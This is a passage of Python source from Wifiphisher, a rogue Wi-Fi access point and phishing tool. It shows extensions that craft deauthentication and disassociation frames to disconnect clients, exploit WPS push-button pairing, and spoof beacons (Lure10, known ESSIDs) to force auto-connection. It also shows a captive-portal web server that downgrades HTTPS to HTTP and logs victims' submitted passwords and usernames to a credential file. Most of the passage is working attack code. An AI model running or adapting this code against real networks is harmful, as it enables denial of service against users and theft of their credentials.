        :param receiver: The MAC address of the receiver
        :param bssid: The MAC address of the AccessPoint
        :type sender: str
        :type receiver: str
        :type bssid: str
        :return: list
        :rtype: A list with disassociation followed by deauthentication packet
        """

        # craft disassociation packet
        disassoc_part = dot11.Dot11(
            type=0, subtype=10, addr1=receiver, addr2=sender, addr3=bssid)
        disassoc_packet = (
            dot11.RadioTap() / disassoc_part / dot11.Dot11Disas())

        # craft deauthentication packet
        deauth_part = dot11.Dot11(
            type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid)
        deauth_packet = (dot11.RadioTap() / deauth_part / dot11.Dot11Deauth())

        return [disassoc_packet, deauth_packet]

    @staticmethod
    def _extract_bssid(packet):
        """
        Return the bssid of access point based on the packet type

        :param packet: A scapy.layers.RadioTap object
        :type packet: scapy.layers.RadioTap
        :return: bssid or None if it is WDS
        :rtype: str or None
        .. note: 0 0 -> IBBS
                 0 1 -> from AP
                 1 0 -> to AP
        """

        ds_value = packet.FCfield & 3
        to_ds = ds_value & 0x1 != 0
        from_ds = ds_value & 0x2 != 0

        # return the correct bssid based on the type
        return ((not to_ds and not from_ds and packet.addr3)
                or (not to_ds and from_ds and packet.addr2)
                or (to_ds and not from_ds and packet.addr1) or None)

    def _is_target(self, packet):
        """
        Check if this is the target attacking bssid
        :param self: A Deauth object
        :param packet: A scapy.layers.RadioTap object
        :type self: Deauth
        :type packet: scapy.layers.RadioTap
        :return: True if this is the target attacking bssid else False
        :rtype: bool
        """

        if (packet.addr3 != self._data.rogue_ap_mac
                and packet.addr3 not in self._deauth_bssids):
            try:
                essid = packet[dot11.Dot11Elt].info.decode("utf8")
            except UnicodeDecodeError:
                logger.warning("Unable to decode the essid with with bssid %s",
                               packet.addr3)
                return False

            # only compare essid when -dE is given
            return ((self._data.args.deauth_essid
                     and essid == self._data.args.deauth_essid) or
                    # frenzy deauth
                    (not self._data.args.deauth_essid
                     and not self._data.target_ap_bssid) or
                    # target_ap_bssid without -dE option
                    (not self._data.args.deauth_essid
                     and self._data.target_ap_bssid == packet.addr3) or False)

    def get_packet(self, packet):
        """
        Process the Dot11 packets and add any desired clients to
        observed_clients.

        :param self: A Deauth object
        :param packet: A scapy.layers.RadioTap object
        :type self: Deauth
        :type packet: scapy.layers.RadioTap
        :return: A tuple with channel list followed by packets list
        :rtype: tuple
        """

        packets_to_send = list()

        # basic malformed frame check
        try:
            # Discard WDS frame
            ds_value = packet.FCfield & 3
            if ds_value == 3:
                return self._packets_to_send
            receiver = packet.addr1
            sender = packet.addr2
        except AttributeError:
            logger.debug("Malformed frame doesn't contain address fields")
            return self._packets_to_send

        # obtain the channel for this packet
        try:
            # channel is in the third IE of Dot11Elt
            channel = ord(packet[dot11.Dot11Elt][2].info)

            # check if this is valid channel
            if channel not in universal.ALL_2G_CHANNELS:
                return self._packets_to_send
        except (TypeError, IndexError):
            # just return empty channel and packet
            logger.debug("Malformed frame doesn't contain channel field")
            return self._packets_to_send

        bssid = self._extract_bssid(packet)
        # check beacon if this is our target deauthing BSSID
        if (packet.haslayer(dot11.Dot11Beacon)
                and bssid not in self._deauth_bssids
                and self._is_target(packet)):
            # listen beacon to get the target attacking BSSIDs for the
            # specified ESSID
            packets_to_send += self._craft_packet(bssid,
                                                  constants.WIFI_BROADCAST,
                                                  bssid)
            logger.info("Target deauth BSSID found: %s", bssid)
            # remember the channel of the given bssid
            self._deauth_bssids[bssid] = str(channel)
        elif bssid in self._deauth_bssids:
            # the bssid is already in the deauth set and we need to check
            # if the channel of the target AP has been changed
            if str(channel) != self._deauth_bssids[bssid]:
                logger.info("BSSID: %s changes channel to %d", bssid, channel)
                self._update_target_ap_frames(str(channel),
                                              str(self._deauth_bssids[bssid]), bssid)
        if bssid not in self._deauth_bssids:
            return self._packets_to_send

        clients = self._add_clients(sender, receiver, bssid)
        if clients:
            self._observed_clients.add(clients[0])
            packets_to_send += clients[1]
            logger.info("Client with BSSID %s is now getting deauthenticated", clients[0])

        self._packets_to_send[str(channel)] += packets_to_send

        return self._packets_to_send

    def _update_target_ap_frames(self, new_channel, old_channel, bssid):
        """
        :param self: A Deauth object
        :param new_channel: New channel for the target AP
        :param old_channel: Old channel for the target AP
        :type self: Deauth
        :param bssid: Address of the bssid
        :type new_channel: str
        :type old_channel: str
        :type bssid: str
        :return: None
        :rtype: None
        """
        old_channel_list = []
        new_channel_list = []
        for pkt in self._packets_to_send[old_channel]:
            if pkt.addr3 != bssid:
                old_channel_list.append(pkt)
            else:
                new_channel_list.append(pkt)
        self._packets_to_send[old_channel] = old_channel_list
        # append the frames of target AP to the new channel
        self._packets_to_send[new_channel].extend(new_channel_list)
        # update the channel of bssid
        self._deauth_bssids[bssid] = new_channel

    def _add_clients(self, sender, receiver, bssid):
        """
        Return a tuple containing client followed by packets if the given
        packet is valid and return None otherwise

        :param self: A Deauth object
        :param sender: Address of the sender
        :param receiver: Address of the receiver
        :param bssid: Address of the bssid
        :type self: Deauth
        :type sender: str
        :type receiver: str
        :type bssid: str
        :return: (client: str, packets: list) or None
        :rtype: tuple or None
        """

        # addresses that are not acceptable
        non_valid_addresses = constants.NON_CLIENT_ADDRESSES.union(
            self._observed_clients)

        # craft the packets
        packets = lambda: (self._craft_packet(receiver, sender, bssid) +
                           self._craft_packet(sender, receiver, bssid))

        # return the client and packets if valid and None otherwise
        # it uses short circuiting to improve performance
        return (sender not in non_valid_addresses
                and receiver not in non_valid_addresses and
                (sender == bssid and
                 (receiver, packets()) or receiver == bssid and
                 (sender, packets())) or None)

    def send_output(self):
        """
        Get any relevant output message

        :param self: A Deauth object
        :type self: Deauth
        :return: A list with all the message entries
        :rtype: list
        """

        return list(map("DEAUTH/DISAS - {}".format, self._observed_clients))

    def send_channels(self):
        """
        Send channes to subscribe

        :param self: A Deauth object
        :type self: Deauth
        :return: A list with all interested channels
        :rtype: list
        """
        # we cannot do frequency hopping if users have only one card
        if not self._data.is_freq_hop_allowed:
            return [self._data.target_ap_channel]

        if self._data.target_ap_bssid and not self._data.args.deauth_essid\
                and not self._data.args.channel_monitor:
            return [self._data.target_ap_channel]

        if self._data.args.deauth_channels and \
           len(self._data.args.deauth_channels) > 0:
            return list(map(str, self._data.args.deauth_channels))

        return list(map(str, universal.ALL_2G_CHANNELS))

    def on_exit(self):
        """
        Free all the resources regarding to this module
        :param self: A Deauth object
        :type self: Deauth
        :return: None
        :rtype: None
        """
        pass



File: wifiphisher/extensions/wpspbc.py

"""
Extension that sniffs if there is change for WPS PBC exploitation

Define three WPS states

1) WPS_IDLE: Wait for target AP bringing WPSPBC IE in the beacon
2) WPS_CONNECTING: If users specify the WPS association interface
   we can start using wpa_supplicant/wpa_cli to connect to the AP
3) WPS_CONNECTED: We have connected to the AP
"""

import logging
import os
import signal
import subprocess
import time
from collections import defaultdict
from threading import Timer

import scapy.layers.dot11 as dot11
import wifiphisher.common.extensions as extensions

logger = logging.getLogger(__name__)

WPS_IDLE, WPS_CONNECTING, WPS_CONNECTED = list(range(3))
# wait 3 seconds to give the wps state to the phishinghttp module
WAIT_CNT = 3

# define the enum to string marco
WPS_2_STR = {
    WPS_IDLE: "WPS_IDLE",
    WPS_CONNECTING: "WPS_CONNECTING",
    WPS_CONNECTED: "WPS_CONNECTED"
}


def kill_wpa_supplicant():
    """
    Kill the wpa_supplicant
    :return: None
    :rtype: None
    """
    proc = subprocess.Popen(['ps', '-A'], stdout=subprocess.PIPE)
    output = proc.communicate()[0]
    # total processes in the system
    sys_procs = output.splitlines()
    for proc in sys_procs:
        if 'wpa_supplicant' in proc:
            pid = int(proc.split(None, 1)[0])
            os.kill(pid, signal.SIGKILL)


class Wpspbc(object):
    """
    Handle the wps exploitation process
    """

    def __init__(self, data):
        """
        Setup the class with all the given arguments.

        :param self: A Wpspbc object
        :param data: Shared data from main engine
        :type self: Deauth
        :type data: tuple
        :return: None
        :rtype: None
        """
        self._data = data
        self._packets_to_send = defaultdict(list)
        self._wps_state = WPS_IDLE
        # to prevent lunch wpa_supplicant multiple times
        self._is_supplicant_running = False
        # wps walk time timer
        self._wps_timer = Timer(120.0, self.wps_timeout_handler)

    def wps_timeout_handler(self):
        """
        Handle if state is not in CONNECTED after the 2MIN walk time
        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: None
        :rtype: None
        """
        if self.get_wps_state() != WPS_CONNECTED:
            self.set_wps_state(WPS_IDLE)
            extensions.is_deauth_cont = True
            if self._is_supplicant_running:
                kill_wpa_supplicant()
                self._is_supplicant_running = False

    @staticmethod
    def does_have_wpspbc_ie(packet):
        """
        Check if the pbc button is being pressed
        :param self: A Wpspbc object
        :param packet: A scapy.layers.RadioTap object
        :type self: Wpspbc
        :type packet: scapy.layers.RadioTap
        :return: None
        :rtype: None
        """
        elt_section = packet[dot11.Dot11Elt]
        while isinstance(elt_section, dot11.Dot11Elt):
            # check if WPS IE exists
            if elt_section.ID == 221 and\
                    elt_section.info.startswith("\x00P\xf2\x04"):
                # strip the starting 4 bytes
                wps_ie_array = [ord(val) for val in elt_section.info[4:]]
                pos = 0
                # start looping to find the WPS PBC IE
                while pos < len(wps_ie_array):
                    if wps_ie_array[pos] == 0x10 and wps_ie_array[pos
                                                                  + 1] == 0x12:
                        return True
                    else:
                        data_len = (
                            wps_ie_array[pos + 2] << 8) + wps_ie_array[pos + 3]
                        # jump to the next data element by adding
                        # the len of type/length/data
                        pos += (2 + 2 + data_len)
                break
            elt_section = elt_section.payload
        return False

    def get_wps_state(self):
        """
        Get the current wps state

        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: An intger represented the WPS state
        :rtype: int
        """
        return self._wps_state

    def set_wps_state(self, new_state):
        """
        Set the wps state
        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: None
        :rtype: None
        """

        logger.info("wps state is transiting from %s to %s",\
                    WPS_2_STR[self.get_wps_state()],
                    WPS_2_STR[new_state])
        self._wps_state = new_state

    def is_associated(self):
        """
        Using wpa_cli to check if the wps interface is getting associated
        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: True if the interface is connected else False
        :rtype: bool
        """
        proc = subprocess.Popen(['wpa_cli', 'status'], stdout=subprocess.PIPE)
        output = proc.communicate()[0]
        # not only check the state is in COMPLETED but also needs to check
        # if we have associated to our own rogueap if the target AP is being
        # shut down (i.e. supplicant will connect to the OPEN rogue AP if the
        # target AP is OPEN)
        if 'COMPLETED' in output and self._data.rogue_ap_mac not in output:
            return True
        return False

    def wps_associate(self):
        """
        Using wpa_supplicant and wpa_cli to associate to the target
        WPS Access Point
        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: None
        :rtype: None
        """
        if not self._is_supplicant_running:
            self._is_supplicant_running = True
            with open("/tmp/wpa_supplicant.conf", 'w') as conf:
                conf.write("ctrl_interface=/var/run/wpa_supplicant\n")
            try:
                proc = subprocess.Popen(
                    [
                        'wpa_supplicant',
                        '-i' + self._data.args.wpspbc_assoc_interface,
                        '-Dnl80211', '-c/tmp/wpa_supplicant.conf'
                    ],
                    stdout=subprocess.PIPE)
                time.sleep(2)
                if proc.poll() is not None:
                    logger.error("supplicant lunches fail!!")
                proc = subprocess.Popen(
                    ['wpa_cli', 'wps_pbc'], stdout=subprocess.PIPE)
                output = proc.communicate()[0]
                if 'OK' not in output:
                    logger.error(
                        "CONFIG_WPS should be ENABLED when compile wpa_supplicant!!"
                    )
                    kill_wpa_supplicant()
                else:
                    logger.info(
                        "Start using wpa_supplicant to connect to WPS AccessPoint"
                    )
                    self._wps_timer = Timer(120.0, self.wps_timeout_handler)
                    self._wps_timer.start()
            except OSError:
                logger.error("wpa_supplicant or wpa_cli are not installed!")

    def wps_state_handler(self, packet):
        """
        Handler for wps state transition
        :param self: A Wpspbc object
        :param packet: A scapy.layers.RadioTap object
        :type self: Wpspbc
        :type packet: scapy.layers.RadioTap
        :return: None
        :rtype: None
        """
        # check if the frame has wps pbc IE
        if packet.haslayer(dot11.Dot11Beacon) and\
                packet.addr3 == self._data.target_ap_bssid:
            has_pbc = self.does_have_wpspbc_ie(packet)
            if self.get_wps_state() == WPS_IDLE:
                if has_pbc:
                    extensions.is_deauth_cont = False
                    self.set_wps_state(WPS_CONNECTING)
            elif self.get_wps_state() == WPS_CONNECTING:
                # if we didn't connect to the WPS in the 2MIN walk time
                if not has_pbc and not self._wps_timer.is_alive():
                    self.set_wps_state(WPS_IDLE)
                    # start deauthing again
                    extensions.is_deauth_cont = True
                # if users specify the wps association interface we start
                # the automatic association here
                else:
                    if self._data.args.wpspbc_assoc_interface:
                        self.wps_associate()
        if self._is_supplicant_running:
            is_assoc = self.is_associated()
            # if state is not CONNECTED and timer is not running
            if not is_assoc and not self._wps_timer.is_alive():
                self.set_wps_state(WPS_IDLE)
                extensions.is_deauth_cont = True
                self._is_supplicant_running = False
                kill_wpa_supplicant()
            elif self.get_wps_state() == WPS_CONNECTING:
                if is_assoc:
                    self.set_wps_state(WPS_CONNECTED)
                    # stop the walk time timer
                    if self._wps_timer.is_alive():
                        self._wps_timer.cancel()

    def get_packet(self, packet):
        """
        Process the Dot11 packets

        :param self: A Wpspbc object
        :param packet: A scapy.layers.RadioTap object
        :type self: Deauth
        :type packet: scapy.layers.RadioTap
        :return: A tuple with channel list followed by packets list
        :rtype: tuple
        """
        try:
            bssid = packet.addr3
        except AttributeError:
            logger.debug("Malformed frame doesn't contain address fields")
            return self._packets_to_send
        self.wps_state_handler(packet)

        return self._packets_to_send

    def send_output(self):
        """
        Get any relevant output message

        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: A list with all the message entries
        :rtype: list
        """
        if self.get_wps_state() == WPS_CONNECTED:
            return ["WPS PBC CONNECTED!"]
        elif self.get_wps_state() == WPS_CONNECTING:
            return ["WPS PBC button is being pressed for the target AP!"]
        return [""]

    def send_channels(self):
        """
        Send channes to subscribe

        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: A list with all interested channels
        :rtype: list
        """
        return [self._data.target_ap_channel]

    @extensions.register_backend_funcs
    def get_wps_state_handler(self, *list_data):
        """
        Backend method for getting the WPS state

        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: A string representing the WPS state
        :rtype: string
        """
        cnt = 0
        # wait maximum 3 seconds to return the wps state
        while cnt < WAIT_CNT:
            if self._wps_state != WPS_IDLE:
                return WPS_2_STR[self._wps_state]
            cnt += 1
            time.sleep(1)
        return WPS_2_STR[self._wps_state]

    def on_exit(self):
        """
        Free all the resources regarding to this module
        :param self: A Wpspbc object
        :type self: Wpspbc
        :return: None
        :rtype: None
        """
        self.set_wps_state(WPS_IDLE)
        if os.path.isfile('/tmp/wpa_supplicant.conf'):
            os.remove('/tmp/wpa_supplicant.conf')
        if self._is_supplicant_running:
            kill_wpa_supplicant()



File: wifiphisher/extensions/lure10.py

"""
Extension that implements the Lure10 attack.

Exploits the Wi-Fi Sense feature and will result
to automatic association by fooling the Windows
Location Service
"""

import logging
from collections import defaultdict

import scapy.layers.dot11 as dot11
import wifiphisher.common.constants as constants

logger = logging.getLogger(__name__)


class Lure10(object):
    """
    Sends a number of beacons to fool Windows Location Service
    """

    def __init__(self, shared_data):
        """
        Setup the class with all the given arguments

        :param self: A Lure10 object
        :param data: Shared data from main engine
        :type self: Lure10
        :type data: dict
        :return: None
        :rtype: None
        """

        self.first_run = True
        self.data = shared_data
        # store channel to frame list
        self._packets_to_send = defaultdict(list)

    def get_packet(self, pkt):
        """
        We start broadcasting the beacons on the first received packet

        :param self: A Lure10 object
        :param packet: A scapy.layers.RadioTap object
        :type self: Lure10
        :type packet: scapy.layers.RadioTap
        :return: A tuple containing ["*"] followed by a list of
            the crafted beacon frames
        :rtype: tuple(list, list)
        .. warning: pkt is not used here but should not be removed since
            this prototype is requirement
        """

        beacons = list()
        bssid = str()

        # initiliate the _packets_to_send in first run
        if self.first_run:
            self._packets_to_send["*"] = beacons

        # only run this code once
        if self.first_run and self.data.args.lure10_exploit:
            # locate the lure10 file
            area_file = constants.LOCS_DIR + self.data.args.lure10_exploit

            with open(area_file) as _file:
                for line in _file:
                    # remove any white space and store the BSSD (first word)
                    line.strip()
                    bssid = line.split(" ", 1)[0]

                    # craft the required packet parts
                    frame_part_0 = dot11.RadioTap()
                    frame_part_1 = dot11.Dot11(
                        subtype=8,
                        addr1=constants.WIFI_BROADCAST,
                        addr2=bssid,
                        addr3=bssid)
                    frame_part_2 = dot11.Dot11Beacon(cap=0x2105)
                    frame_part_3 = dot11.Dot11Elt(ID="SSID", info="")
                    frame_part_4 = dot11.Dot11Elt(
                        ID="Rates", info=constants.AP_RATES)
                    frame_part_5 = dot11.Dot11Elt(ID="DSset", info=chr(7))

                    # create a complete packet by combining the parts
                    complete_frame = (
                        frame_part_0 / frame_part_1 / frame_part_2 /
                        frame_part_3 / frame_part_4 / frame_part_5)
                    logger.debug("Add lure10-beacon frame with BSSID %s",
                                 bssid)
                    # add the frame to the list
                    beacons.append(complete_frame)

                    # make sure this block is never executed again and the notification occurs
                    self.first_run = False
            self._packets_to_send["*"] = beacons
        return self._packets_to_send

    def send_output(self):
        """
        Sending Lure10 notification

        :param self: A Lure10 object
        :type self: Lure10
        :return: list of notification messages
        :rtype: list
        .. note: Only sends notification for the first time to reduce
            clutters
        """

        return (not self.first_run and self.data.args.lure10_exploit
                and ["Lure10 - Spoofing location services"] or [])

    def send_channels(self):
        """
        Send all interested channels

        :param self: A Lure10 object
        :type self: Lure10
        :return: A list with all the channels interested
        :rtype: list
        .. note: Only the channel of the target AP is sent here
        """

        return [self.data.target_ap_channel]

    def on_exit(self):
        """
        :param self: A Lure10 object
        :type self: Lure10
        Free all the resources regarding to this module
        :return: None
        :rtype: None
        """
        pass



File: wifiphisher/extensions/roguehostapdinfo.py

"""
Extension that interacts with roguehostapd to print relevant information. For example,
information regarding automatic association attacks.
"""

from collections import defaultdict

import wifiphisher.common.constants as constants


class Roguehostapdinfo(object):
    """
    Handles for printing KARMA attack information
    """

    def __init__(self, data):
        """
        Setup the class with all the given arguments.

        :param self: A roguehostapdinfo object.
        :param data: Shared data from main engine
        :type self: roguehostapdinfo
        :type data: dictionary
        :return: None
        :rtype: None
        """
        self._data = data
        self._packets_to_send = defaultdict(list)
        self._mac2ssid_dict = defaultdict()
        self._known_beacon_ssids = self._get_known_beacon_ssids()

    def get_packet(self, packet):
        """
        :param self: A roguehostapdinfo object
        :param packet: A scapy.layers.RadioTap object
        :type self: roguehostapdinfo
        :type packet: scapy.layers.RadioTap
        :return: empty list
        :rtype: list
        """
        return self._packets_to_send

    def _get_known_beacon_ssids(self):
        """
        :param self: A roguehostapdinfo object
        :type self: roguehostapdinfo
        :return: None
        :rtype: None
        """

        known_beacons_ssids = set()
        # locate the known WLANS file
        if self._data.args.known_beacons:
            area_file = constants.KNOWN_WLANS_FILE
            with open(area_file) as _file:
                for line in _file:
                    if line.startswith("!"):
                        continue
                    essid = line.rstrip()
                    known_beacons_ssids.add(essid)
        return known_beacons_ssids

    def send_output(self):
        """
        Send the output the extension manager
        :param self: A roguehostapdinfo object.
        :type self: roguehostapdinfo
        :return: A list with the password checking information
        :rtype: list
        ..note: In each packet we ask roguehostapd whether there are victims
        associated to rogue AP
        """
        info = []
        ssid_mac_list = self._data.roguehostapd.get_karma_data()
        try:
            mac_list, ssid_list = list(zip(*ssid_mac_list))
        except ValueError:
            # incase ssid_mac_list is still empty
            mac_list = []
            ssid_list = []
        # remove the one not in the current associated list
        pop_macs = []
        for mac in self._mac2ssid_dict:
            if mac not in mac_list:
                pop_macs.append(mac)
        for key in pop_macs:
            self._mac2ssid_dict.pop(key)
        # add new associated victims to the dictionary
        for idx, mac in enumerate(mac_list):
            if mac not in self._mac2ssid_dict:
                self._mac2ssid_dict[mac] = ssid_list[idx]
        macssid_pairs = list(self._mac2ssid_dict.items())
        for mac, ssid in macssid_pairs:

            if ssid == self._data.target_ap_essid:
                outputstr = "Victim " + mac + " probed for WLAN with ESSID: '" + ssid + "' (Evil Twin)"
            elif ssid not in self._known_beacon_ssids:
                outputstr = "Victim " + mac + " probed for WLAN with ESSID: '" + ssid + "' (KARMA)"
            else:
                outputstr = "Victim " + mac + " probed for WLAN with ESSID: '" + ssid + "' (Known Beacons)"
            info.append(outputstr)
        return info

    def send_channels(self):
        """
        Send channels to subscribe
        :param self: A roguehostapdinfo object.
        :type self: roguehostapdinfo
        :return: empty list
        :rtype: list
        ..note: we don't need to send frames in this extension
        """

        return [self._data.target_ap_channel]

    def on_exit(self):
        """
        Free all the resources regarding to this module
        :param self: A roguehostapdinfo object.
        :type self: roguehostapdinfo
        :return: None
        :rtype: None
        """
        pass



File: wifiphisher/extensions/knownbeacons.py

"""
Extension that sends a number of known beacons to trigger the AUTO-CONNECT flag.
"""

import logging
import time
from collections import defaultdict

import scapy.layers.dot11 as dot11
import wifiphisher.common.constants as constants
import wifiphisher.common.globals as universal

logger = logging.getLogger(__name__)

class Knownbeacons(object):
    """
    Sends a number of known beacons to trigger the Auto-Connect flag.
    """

    def __init__(self, shared_data):
        """
        Setup the class with all the given arguments

        :param self: A Beacons object
        :param data: Shared data from main engine
        :type self: Beacons
        :type data: dict
        :return: None
        :rtype: None
        """

        self.data = shared_data
        # store channel to frame list
        self._packets_to_send = defaultdict(list)
        self._starttime = time.time()
        self._msg = []
        self._full_pkt_list = self._get_known_beacons()


    def _get_known_beacons(self):
        """
        Retrieve the popular ESSIDs from the text file
        and then construct all the known beacon frames.

        :param self: A Beacons object
        :type self: Beacons
        :return: A list with all the beacon frames
        :rtype: list
        """

        beacons = list()
        essid = str()
        bssid = self.data.rogue_ap_mac

        # locate the known WLANS file
        area_file = constants.KNOWN_WLANS_FILE

        with open(area_file) as _file:
            for line in _file:
                if line.startswith("!"):
                    continue
                essid = line.rstrip() 

                # craft the required packet parts
                frame_part_0 = dot11.RadioTap()
                frame_part_1 = dot11.Dot11(
                    subtype=8,
                    addr1=constants.WIFI_BROADCAST,
                    addr2=bssid,
                    addr3=bssid)
                frame_part_2 = dot11.Dot11Beacon(cap=constants.KB_BEACON_CAP)
                frame_part_3 = dot11.Dot11Elt(ID="SSID", info=essid)
                frame_part_4 = dot11.Dot11Elt(
                    ID="Rates", info=constants.AP_RATES)
                frame_part_5 = dot11.Dot11Elt(ID="DSset", info=chr(7))

                # create a complete packet by combining the parts
                complete_frame = (
                    frame_part_0 / frame_part_1 / frame_part_2 /
                    frame_part_3 / frame_part_4 / frame_part_5)
                # add the frame to the list
                beacons.append(complete_frame)
        return beacons

    def get_packet(self, pkt):
        """
        We start broadcasting the beacons on the first received packet

        :param self: A Knownbeacons object
        :param packet: A scapy.layers.RadioTap object
        :type self: Knownbeacons
        :type packet: scapy.layers.RadioTap
        :return: A tuple containing ["*"] followed by a list of
            the crafted beacon frames
        :rtype: tuple(list, list)
        .. warning: pkt is not used here but should not be removed since
            this prototype is requirement
        """

        # If INTERVAL seconds have passed...
        if (time.time() - self._starttime > constants.KB_INTERVAL):
            # Do a list shift
            self._full_pkt_list = self._full_pkt_list[constants.KB_BUCKET_SIZE:] + \
                                    self._full_pkt_list[:constants.KB_BUCKET_SIZE]
            self._starttime = time.time()
            first_essid = self._full_pkt_list[0][dot11.Dot11Elt].info.decode("utf8")
            last_essid = self._full_pkt_list[constants.KB_BUCKET_SIZE-1][dot11.Dot11Elt].info.decode("utf8")

            self._msg.append("Sending %s known beacons (%s ... %s)" % \
                            (str(constants.KB_BUCKET_SIZE), first_essid, \
                            last_essid))

        self._packets_to_send["*"] = self._full_pkt_list[:constants.KB_BUCKET_SIZE]
        return self._packets_to_send

    def send_output(self):
        """
        Sending Knownbeacons notification

        :param self: A Knownbeacons object
        :type self: Knownbeacons
        :return: list of notification messages
        :rtype: list
        .. note: Only sends notification for the first time to reduce
            clutters
        """

        if self._msg:
            return self._msg
        return ["Sending known beacons..."]

    def send_channels(self):
        """
        Send all interested channels

        :param self: A Knownbeacons object
        :type self: Knownbeacons
        :return: A list with all the channels interested
        :rtype: list
        .. note: Only the channel of the target AP is sent here
        """

        return [self.data.target_ap_channel]

    def on_exit(self):
        """
        :param self: A Knownbeacons object
        :type self: Knownbeacons
        Free all the resources regarding to this module
        :return: None
        :rtype: None
        """

        pass



File: wifiphisher/common/phishinghttp.py

import datetime
import json
import logging
import os.path
import re
import time
import asyncio

import tornado.ioloop
import tornado.web
import tornado.platform.asyncio
import wifiphisher.common.constants as constants
import wifiphisher.common.extensions as extensions
import wifiphisher.common.uimethods as uimethods
import wifiphisher.common.victim as victim
from tornado.escape import json_decode

asyncio.set_event_loop_policy(tornado.platform.asyncio.AnyThreadEventLoopPolicy())

hn = logging.NullHandler()
hn.setLevel(logging.DEBUG)
logging.getLogger('tornado.access').disabled = True
logging.getLogger('tornado.general').disabled = True

template = False
terminate = False
creds = []
logger = logging.getLogger(__name__)
credential_log_path = None


class DowngradeToHTTP(tornado.web.RequestHandler):
    def get(self):
        port = self.application.settings.get('port')
        self.redirect("http://10.0.0.1:{}/".format(port))


class BackendHandler(tornado.web.RequestHandler):
    """
    Validate the POST requests from client by the uimethods
    """

    def initialize(self, em):
        """
        :param self: A tornado.web.RequestHandler object
        :param em: An extension manager object
        :type self: tornado.web.RequestHandler
        :type em: ExtensionManager
        :return: None
        :rtype: None
        """

        self.em = em

    def post(self):
        """
        :param self: A tornado.web.RequestHandler object
        :type self: tornado.web.RequestHandler
        :return: None
        :rtype: None
        ..note: override the post method to do the verification
        """

        json_obj = json_decode(self.request.body)
        response_to_send = {}
        backend_methods = self.em.get_backend_funcs()
        # loop all the required verification methods
        for func_name in list(json_obj.keys()):
            if func_name in backend_methods:
                # get the corresponding callback
                callback = getattr(backend_methods[func_name], func_name)
                # fire the corresponding varification method
                response_to_send[func_name] = callback(json_obj[func_name])
            else:
                response_to_send[func_name] = "NotFound"

        self.write(json.dumps(response_to_send))


class CaptivePortalHandler(tornado.web.RequestHandler):
    def get(self):
        """
        Override the get method

        :param self: A tornado.web.RequestHandler object
        :type self: tornado.web.RequestHandler
        :return: None
        :rtype: None
        """

        requested_file = self.request.path[1:]
        template_directory = template.get_path()

        # choose the correct file to serve
        if os.path.isfile(template_directory + requested_file):
            render_file = requested_file
        else:
            render_file = "index.html"

        # load the file
        file_path = template_directory + render_file
        self.render(file_path, **template.get_context())

        log_file_path = "/tmp/wifiphisher-webserver.tmp"
        with open(log_file_path, "a+") as log_file:
            log_file.write("GET request from {0} for {1}\n".format(
                self.request.remote_ip, self.request.full_url()))
        # record the GET request in the logging file
        logger.info("GET request from %s for %s", self.request.remote_ip,
                    self.request.full_url())

        # Find the victim object that corresponds to the ip address
        # And try to Discover OS by requestt
        victims_instance = victim.Victims.get_instance()
        victims_instance.associate_victim_ip_to_os(
            self.request.remote_ip,
            self.request.full_url())

    def post(self):
        """
        Override the post method

        :param self: A tornado.web.RequestHandler object
        :type self: tornado.web.RequestHandler
        :return: None
        :rtype: None
        ..note: we only serve the Content-Type which starts with
        "application/x-www-form-urlencoded" as a valid post request
        """

        global terminate

        # check the http POST request header contains the Content-Type
        try:
            content_type = self.request.headers["Content-Type"]
        except KeyError:
            return

        try:
            # Check if this is a valid POST request
            if content_type.startswith(constants.VALID_POST_CONTENT_TYPE):
                post_data = tornado.escape.url_unescape(self.request.body)
                # log the data
                log_file_path = "/tmp/wifiphisher-webserver.tmp"
                with open(log_file_path, "a+") as log_file:
                    log_file.write("POST request from {0} with {1}\n".format(
                        self.request.remote_ip, post_data))
                    # record the post requests in the logging file
                    logger.info("POST request from %s with %s",
                                self.request.remote_ip, post_data)
                if re.search(constants.REGEX_PWD, post_data, re.IGNORECASE) or \
                   re.search(constants.REGEX_UNAME, post_data, re.IGNORECASE):
                    if credential_log_path:
                        with open(credential_log_path, 'a+') as credential_log:
                            credential_log.write("{} {}".format(
                                time.strftime(constants.CREDENTIALS_DATETIME_FORMAT),
                                "POST request from {0} with {1}\n".format(
                                    self.request.remote_ip, post_data)))
                    creds.append(post_data)
                    terminate = True
        # Invalid UTF-8, drop it.
        except UnicodeDecodeError:
            pass

        requested_file = self.request.path[1:]
        template_directory = template.get_path()

        # choose the correct file to serve
        if os.path.isfile(template_directory + requested_file):
            render_file = requested_file
        else:
            render_file = "index.html"

        # load the file
        file_path = template_directory + render_file
        self.render(file_path, **template.get_context())

        # Find the victim object that corresponds to the ip address
        # And try to Discover OS by request
        victims_instance = victim.Victims.get_instance()
        victims_instance.associate_victim_ip_to_os(
            self.request.remote_ip,
            self.request.full_url())

def runHTTPServer(ip, port, ssl_port, t, em):
    global template
    template = t

    # Get all the UI funcs and set them to uimethods module
    for f in em.get_ui_funcs():
        setattr(uimethods, f.__name__, f)

    app = tornado.web.Application(
        [
            (r"/backend/.*", BackendHandler, {
                "em": em
            }),
            (r"/.*", CaptivePortalHandler),
        ],
        template_path=template.get_path(),
        static_path=template.get_path_static(),
        compiled_template_cache=False,
        ui_methods=uimethods)
    app.listen(port, address=ip)

    ssl_app = tornado.web.Application([(r"/.*", DowngradeToHTTP)], port=port)

    https_server = tornado.httpserver.HTTPServer(
        ssl_app,
        ssl_options={
            "certfile": constants.PEM,
            "keyfile": constants.PEM,
        })
    https_server.listen(ssl_port, address=ip)

    tornado.ioloop.IOLoop.instance().start()



File: wifiphisher/common/interfaces.py

# -*- coding: utf-8 -*-

"""
This module was made to handle all the interface related operations of
the program
"""

import logging
import random
from collections import defaultdict
from subprocess import PIPE, Popen, check_output

import pyric
import pyric.pyw as pyw
import wifiphisher.common.constants as constants

logger = logging.getLogger("wifiphisher.interfaces")


class InvalidInterfaceError(Exception):
    """ Exception class to raise in case of a invalid interface """

    def __init__(self, interface_name, mode=None):
        """
        Construct the class

        :param self: A InvalidInterfaceError object
        :param interface_name: Name of an interface
        :type self: InvalidInterfaceError
        :type interface_name: str
        :return: None
